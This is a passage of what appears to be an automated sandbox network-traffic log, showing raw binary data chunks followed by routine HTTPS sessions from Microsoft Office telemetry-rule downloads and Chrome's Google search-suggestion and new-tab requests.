Q%ZI\KF>OPqo41YH]M?W5ZK/^O?]_y~]oo*gkVV844Qw]O(-E?[nu}
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: 35 cb dd 1a c3 1d 88 54 97 b4 6e 4a f6 b2 bf e7 73 9f bb d5 74 8f 12 5a c8 9a bc 59 92 38 df cb bc 8f e6 7a 3c 33 a7 a4 ba 55 cd b7 f6 ec be 4c 87 f7 76 ff 00 75 24 ff 00 81 7f 09 ad 4d 6b e1 d5 d4 7a 87 da bc 3d 2f 97 0c 9d 23 f3 b7 a3 ff 00 c0 ab 81 8c 5f d8 78 82 4b 57 8b cb 48 3e 7f f7 ff 00 dd aa c5 3a 75 f0 de e4 f5 5d 1e e6 b0 4e a4 5f b3 a9 b7 73 a2 fe c6 d6 ac a5 92 f7 fb 24 c7 f6 79 3f e7 92 7f c0 9a b3 26 b5 92 5d 5a 4c cb 2d a3 ff 00 cf 39 22 d9 bf fd da d8 f0 ff 00 89 74 99 ae bf b4 ee a6 bb b3 7f f9 f8 b1 ff 00 96 7b bf 83 6b 56 ce b9 7d 63 ad 5a c5 05 d7 95 22 47 1a 79 7a 8f f1 c7 fd fa f3 28 d6 af 4e 7c 93 86 8f 7f 21 39 7b 36 dc d5 9e c6 3d 86 9e 9f bb bc bf 9a 2b 88 e3 8f fe 59 ef f9 3f fd 55 87 71 17 d9 f5 2d d6 b7 be 7a 79 7b e3 ff 00 Data Ascii: 5TnJstZY8z<3ULvu$Mkz=/#_xKWH>:u]N_s$y?&]ZL-9"t{kV}cZ"Gyz(N\|!9{6=+Y?Uq-zy{
2024-11-26 00:41:20 UTC	16067	IN	Data Raw: 2e 52 e3 cb 92 69 65 8d e4 ff 00 57 e5 d7 51 a9 5b e9 ba 86 9f 8f ec 18 63 fd df ee ee 6c 7f f4 1f 97 8a e1 75 8b 49 f4 cd 5a 4b 59 3c ef fb 6b 5c 33 c2 a8 2b 37 73 b2 9c 68 d4 6f 92 5a ae 8c d9 33 a5 bc d1 de a7 9b 22 49 f2 47 e6 45 bf e6 ad 7d 26 7d 2a e2 eb fb 41 ff 00 77 75 e5 ba 55 3f 0c 5d c9 6f 65 1a 5b 5d cd 6e f2 49 be 48 fc ad c8 f5 7a e8 e9 10 6a 51 bc d6 92 59 cd 27 fc b4 b7 1b 3e 5f f7 7e ed 69 4e 52 a3 4c e2 c4 49 4a 3e ce ce ea fb 76 34 8d af 86 ee 3e cf 0f 89 26 9a 2b 7f f9 e9 6d 16 df f8 17 dd 6f 9f da 95 de 0d 23 cc d3 ec 9a 2b cb 2f bf 1f d9 a5 df e6 37 f7 bf d9 aa b7 89 0d 8c 71 bf da bc f8 7c cd 91 d2 5a 69 d0 5d cd f6 ad 2e 6f b3 dd 7f cb c5 bc b7 5b 12 7a 27 5a 0d 34 de ac e6 82 f6 f4 d5 37 b2 db cc d4 fe d3 b7 ba 8f fe 25 fe 6c 73 Data Ascii: .RieWQ[cluIZKY<k\3+7shoZ3"IGE}&}*AwuU?]oe[]nIHzjQY'>_~iNRLIJ>v4>&+mo#+/7q\|Zi].o[z'Z47%ls
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: 29 c9 85 93 75 bd f5 a7 a9 ce e8 1a b5 dc 5a b7 99 19 9a dd 3e 44 4f 2e 5f f5 f5 b1 1d f5 a6 a5 34 8f e6 c5 be 3f f5 72 79 55 cf de d8 5c 5b dd 79 ba 5c 52 dc 47 f2 24 7f f4 c2 a8 49 79 79 69 fe 89 7b 17 96 ff 00 7f f7 9f 2b d6 35 b0 75 14 ef 1d 1a 3d aa 98 58 d5 77 a6 ff 00 13 a1 b8 b9 b8 b4 bf d9 75 fe 91 e5 c9 be 39 22 fb e9 fe ed 75 f0 eb da 77 89 f4 ff 00 27 c4 36 70 de bf 96 9f e9 20 f9 37 7b 57 ee fc cd c3 d7 2d e0 a6 b0 d6 3c cb 2b ef f4 77 8f e7 b6 93 fe 5a ff 00 b4 9f dd f9 aa 4d 47 4a be 9f 50 92 df 45 b3 ba b8 f3 3f 71 e5 c5 17 cf 3f fc 03 b3 57 63 a7 f5 8a 0a 11 56 97 73 9e 2d 46 b7 b3 6a d2 5f 71 73 50 d0 75 5d 33 56 91 2d ae fc dd 3a 4f 9e da f3 ff 00 64 ff 00 7a 9b a6 f8 97 56 d2 a5 92 f6 f6 6f dc c9 f2 47 1c 9f 73 72 fd da 9f 46 d1 75 dd Data Ascii: )uZ>DO._4?ryU\[y\RG$Iyyi{+5u=Xwu9"uw'6p 7{W-<+wZMGJPE?q?WcVs-Fj_qsPu]3V-:OdzVoGsrFu
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: e0 9b 6d 39 f4 79 bf b5 7c c4 ff 00 55 bf c9 93 fd ef fd 0b e5 a5 85 c2 aa 90 84 a7 79 6b bf a1 d5 8d c6 ba 2e a4 20 d4 6c ba 99 7a 1e a7 61 fb b4 bd d4 ae ec a0 93 fd 1f cc ff 00 a6 5f c4 ab d3 ef 57 47 1d 9c 7a 27 8f 35 6d 47 4b fe cf 92 3f 33 cc 8f cd 97 7a 47 16 c4 7d cd 2f dd ff 00 38 ae 4f c1 5e 11 ff 00 84 eb ed d1 e9 9a 95 a5 94 7a 75 b7 99 2d c5 ce ff 00 93 e7 ff 00 e2 aa 78 2f a0 f0 fe ad 1f 86 bc 49 34 37 bf d9 d7 af 1c bf 66 97 ce 87 e5 ae fa d8 1a 72 93 f6 72 b3 b6 cf a9 e6 61 73 6a bc 8a 58 88 69 7d fb 1d dd d5 9e b5 a9 cd 73 e2 8b d8 6e ef 7f d2 61 ff 00 49 8b fd af ef 45 d3 f8 3e 5f ee d7 07 f0 9e c7 45 7d 3e 3b ad 47 ce 92 ea f6 e7 cb fd d4 5b df ff 00 1d ad 0f 8c 9f 14 f5 2b 8f 0e c9 a7 e9 93 45 64 f7 b2 27 d9 ad ad a5 de ff 00 67 f9 bf Data Ascii: m9y\|Uyk. lza_WGz'5mGK?3zG}/8O^zu-x/I47frrasjXi}snaIE>_E}>;G[+Ed'g

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:19 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004119Z-174f7845968swgbqhC1EWRmnb40000000uv0000000005vc7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:19 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:20 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004119Z-174f7845968n2hr8hC1EWR9cag0000000uag000000006tar x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:19 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:19 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004119Z-174f784596886s2bhC1EWR743w0000000ut0000000006097 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:20 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:19 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:20 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004120Z-174f7845968nxc96hC1EWRspw80000000ufg000000005qc6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:19 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:20 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004120Z-174f7845968cpnpfhC1EWR3afc0000000ue00000000009da x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:20 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:22 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004122Z-174f7845968glpgnhC1EWR7uec0000000urg000000006r0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49742	142.250.181.100	443	7660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:22 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 00:41:23 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:22 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-HpnYZBQiLIIaPvOerX3YaQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 00:41:23 UTC	124	IN	Data Raw: 32 66 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 77 65 64 6e 65 73 64 61 79 20 73 65 61 73 6f 6e 20 74 77 6f 22 2c 22 6e 62 61 20 70 6f 77 65 72 20 72 61 6e 6b 69 6e 67 73 22 2c 22 6d 69 63 72 6f 73 6f 66 74 20 6f 75 74 6c 6f 6f 6b 20 6f 75 74 61 67 65 73 22 2c 22 67 69 6c 62 65 72 74 20 72 6f 61 64 20 63 6c 6f 73 75 72 65 73 22 2c 22 6e 79 74 20 63 72 6f 73 73 77 6f 72 Data Ascii: 2f8)]}'["",["wednesday season two","nba power rankings","microsoft outlook outages","gilbert road closures","nyt crosswor
2024-11-26 00:41:23 UTC	643	IN	Data Raw: 64 20 63 6c 75 65 73 22 2c 22 6d 61 72 62 6c 65 68 65 61 64 20 74 65 61 63 68 65 72 73 20 73 74 72 69 6b 65 22 2c 22 74 68 65 20 65 61 72 74 68 20 74 69 6c 74 65 64 20 33 31 2e 35 20 69 6e 63 68 65 73 22 2c 22 64 72 20 64 69 73 72 65 73 70 65 63 74 20 72 75 6d 62 6c 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 Data Ascii: d clues","marblehead teachers strike","the earth tilted 31.5 inches","dr disrespect rumble"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail"
2024-11-26 00:41:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49746	142.250.181.100	443	7660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:22 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49745	142.250.181.100	443	7660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:22 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 00:41:23 UTC	1018	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 26 Nov 2024 00:41:22 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 00:41:23 UTC	372	IN	Data Raw: 33 36 31 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 